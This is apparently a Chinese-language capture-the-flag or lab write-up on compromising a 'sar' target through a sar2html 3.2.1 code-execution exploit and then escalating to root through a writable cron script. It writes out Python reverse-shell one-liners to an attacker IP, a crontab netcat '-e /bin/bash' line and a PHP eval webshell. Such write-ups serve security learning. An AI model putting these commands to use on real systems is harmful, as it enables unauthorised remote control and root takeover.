WP:靶场sar
WP:靶场sar
1、信息收集
namp -sV 192.168.2.0/24
发现只开启里一个80端口,http访问查看
尝试使用目录扫描,查看有哪些目录文件
使用kali自带的工具dirbuster,发现扫描太慢了,而且字典还不全,这里就换成dirb(或dirscan)
dirbuster
dirb http://192.168.2.105
2、收集漏洞
进入扫描结果带入到URL中查看,发现这是一个文件上传页面,尝试上传一句话木马
先尝试上传文件显示phpinfo页面,测试是否能够执行php命令,接下来使用burpsuite代理截断修改数据包
<?php phpinfo();?>
发现回显后,无法定位到文件位置。这个方法也不知道怎么利用,所有去搜一下是否有历史版本漏洞。
searchsploit sar2html 3.2.1
从漏洞名称介绍来看,存在一个远程执行代码漏洞,这里将exp拷贝到当前漏洞
3、利用漏洞
cp /usr/share/exploitdb/exploits/php/webapps/49344.py ./
python3 ./49344.py
通过分析49344.py的代码,可以看到这里需要详细指定到/sar2HTML的路径下
配置一个反弹shell
cat /etc/crontab
尝试写入定时任务
echo "*/1 * * * * root netcat 192.168.2.106 3322 -e /bin/bash" >> /etc/crontab
发现权限不够,写不进去,那就老实的尝试直接反弹吧,一口吃个胖子还是不行的
# 攻击端
nc -lvvp 3322
# 靶机
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.106",3322));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
提升shell为交互伪终端
python3 -c "import pty;pty.spawn('/bin/bash')"
写入一句话木马
command => pwd
echo "<?php eval($_POST['a']);?>" > /var/www/html/test.php
通过此目录下的phpinfo.php文件可得出,此目录解析php,但使用浏览器访问查看发现500报错
检查上传成功的代码,发现关键词被过滤了
这里就要想办法绕过过滤了
使用反弹shell的终端一样,echo始终会过滤变量
这里用了比较低级的方法绕过,直接使用vi进行编辑,虽然会有字符覆盖,但在控制好,还是能写进去的
再去网页访问看一下,已经能200正常访问了
接下来使用webshell工具连接即可
提权
虚拟终端连接上去,看一下定时任务内容,发现里面执行/var/www/html/finally.sh的文件,查找一下这个文件
发现这个文件内容是执行/var/www/html/write.sh,有点套娃啊
再看一下write.sh内容,并看一下这两个文件权限如何,是否能写入内容
通过ls -l
查看后发现,我们当前可以写入到write.sh的文件内,写入一个反弹shell,这样就会以root执行。
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.106",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
kali使用监听nc -lvvp 7777
,静等反弹过来即可
再升级交互shell
python3 -c "import pty;pty.spawn('/bin/bash')"
这时就有权限拿flag了